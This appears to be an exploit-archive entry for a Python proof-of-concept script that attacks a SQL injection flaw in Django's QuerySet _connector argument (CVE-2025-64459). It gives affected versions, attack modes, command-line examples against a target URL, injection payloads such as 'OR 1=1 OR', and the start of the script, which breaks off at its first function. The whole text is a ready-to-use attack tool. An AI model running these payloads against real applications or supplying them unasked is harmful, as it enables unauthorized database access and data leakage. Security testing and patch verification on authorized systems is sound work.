• exploit-code: # Exploit Title: Django 5.1.13 - SQL Injection # Google Dork: [none] # Not applicable for this vulnerability # Date: 2025-12-03 # Exploit Author: Wafcontrol Security Team # Vendor Homepage: https://www.djangoproject.com/ # Software Link: https://www.djangoproject.com/download/ # Version: 5.2 before 5.2.8, 5.1 before 5.1.14, 4.2 before 4.2.26 (possibly earlier versions like 5.0.x, 4.1.x, 3.2.x) # Tested on: Ubuntu 24.04 with Django 5.1.13 (vulnerable version) # CVE: 2025-64459 Description: This proof-of-concept exploits a SQL injection vulnerability in Django's QuerySet methods (filter, exclude, get) and Q objects when using a crafted dictionary with expansion as the _connector argument. The vulnerability allows an attacker to inject arbitrary SQL into the WHERE clause, potentially leading to data leakage, modification, or other database compromises. The script targets a vulnerable Django application endpoint that accepts user input for the _connector parameter. It supports multiple modes: - baseline: Send a safe request and display results. - exploit: Send an exploit payload and compare with baseline. - multi: Test multiple payloads sequentially. - check: Automatically check if the target appears vulnerable. Usage: python3 exploit.py <mode> -u <target_url> [options] Modes: - baseline: Run a safe baseline test. - exploit: Run an exploit test with a single payload. - multi: Test multiple payloads (use -p multiple times or comma-separated). - check: Quick vulnerability check using default payloads. Examples: python3 exploit.py baseline -u http://target/ python3 exploit.py exploit -u http://target/ -p "OR 1=1 OR" python3 exploit.py multi -u http://target/ -p "OR 1=1 OR" -p "AND 1=0 AND" python3 exploit.py check -u http://target/ Options: - -b, --baseline: Baseline connector value (default: 'AND') - -v, --verbose: Enable verbose output - -o, --output: Save output to a file Requirements: - Python 3.x - requests library (pip install requests) Note: - This is for educational and testing purposes only. Use on authorized systems. - Ensure the target endpoint exposes the executed SQL (e.g., via debug mode or custom template) for demonstration. - In a real scenario, adapt the parsing logic to the application's response structure. - For advanced usage, customize payloads for specific SQL dialects (e.g., SQLite, PostgreSQL). import re import sys import argparse import json from typing import List, Tuple, Optional import requests DEFAULT_BASELINE = "AND" DEFAULT_PAYLOADS = ["OR 1=1 OR", "AND 1=0 AND", "OR 'a'='a' OR"] def extract_sql_and_users(html: str) -> Tuple[Optional[str], List[str]]: """ Extracts the executed SQL and list of users from the HTML response.
